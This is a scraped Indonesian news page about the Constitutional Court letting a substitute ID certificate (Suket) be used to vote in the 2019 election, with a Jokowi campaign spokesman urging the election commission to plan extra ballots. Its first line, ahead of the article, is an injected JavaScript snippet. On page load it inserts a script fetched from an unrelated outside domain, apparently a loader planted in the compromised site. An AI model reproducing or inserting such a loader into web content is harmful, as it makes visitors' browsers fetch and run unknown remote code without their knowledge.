(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Suket Bisa untuk Nyoblos, TKN Jokowi Minta KPU Antisipasi Lonjakan DPTb


JAKARTA, Mahkamah Konstitusi (MK) mengesahkan Surat Keterangan (Suket) pengganti e-KTP menjadi syarat mencoblos pada Pemilu 2019. TKN Jokowi-Ma’ruf Amin meminta KPU mengantisipasi lonjakan daftar pemilih tambahan (DPTb) dan ketersediaan surat suara.

“KPU harus memastikan apakah bisa jadi akan terjadi banyak lonjakan daftar pemilih tambahan, daftar pemilih tambahan ini harus diantisipasi dengan banyaknya surat suara,” kata Juru Bicara Tim Kampanye Nasional (TKN) Jokowi-Ma’ruf, Ace Hasan Syadzily, di Jakarta, Jumat (29/3).

Ace memperkirakan akan ada banyak pemilih yang menggunakan hak pilihnya atas dasar Suket. Karena itu, KPU harus mengantisipasi ketersediaan surat suara dengan cadangannya terutama di daerah-daerah.  “Memang dalam UU disebutkan 2,5 dari jumlah pemilih itu di satu TPS demikian adanya dijamin, tapi harus diantisipasi stok cadangan kertas suara tersebut sehingga dapat memenuhi kebutuhan bagi daftar pemilih tambahan sesuai dengan Suket yang dasarnya adalah Suket,” katanya dilansir detik.com.

Selain itu, Ace menyebut Kemendagri dan Pemda juga harus mengantisipasi Suket palsu misalnya diberi tanda barcode atau lainnya. Selain itu penyelenggara pemilu juga harus mengantisipasi pemilih nyoblos lebih dari sekali misalnya dengan penggunaan tinta.

“Menurut saya kalau sudah bisa diantisipasi dengan tinta tanda pemilih seharusnya bisa diantisipasi dengan cara itu. Jadi satu orang nggak bisa menggunakan hak pilihnya lagi karena ditunjukkan dengan adanya tinta tanda dia memilih. Kalau sudah menggunakan ini seharusnya dia sudah tidak lagi bisa memilih,” kata Ace.

Sebelumnya, Mahkamah Konstitusi (MK) mengesahkan Surat keterangan (Suket) e-KTP menjadi syarat mencoblos pada Pemilu 2019. Dirjen Dukcapil Kemendagri Zudan Arif Fakrulloh memastikan Dukcapil siap memfasilitasi perekaman e-KTP, bahkan prosesnya dipercepat agar suket bisa langsung jadi.

“Saya kira MK sudah sangat tepat mendorong orang-orang belum merekam segera melakukan perekaman (e-KTP). Dukcapil akan siap memfasilitasi perekaman itu. Kantor kita buka terus, jemput bola kita lakukan terus. Dukcapil proaktif masyarakat juga harus sama,” kata Zudan. (yld/dtc)

Reporter:yld/dtc
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.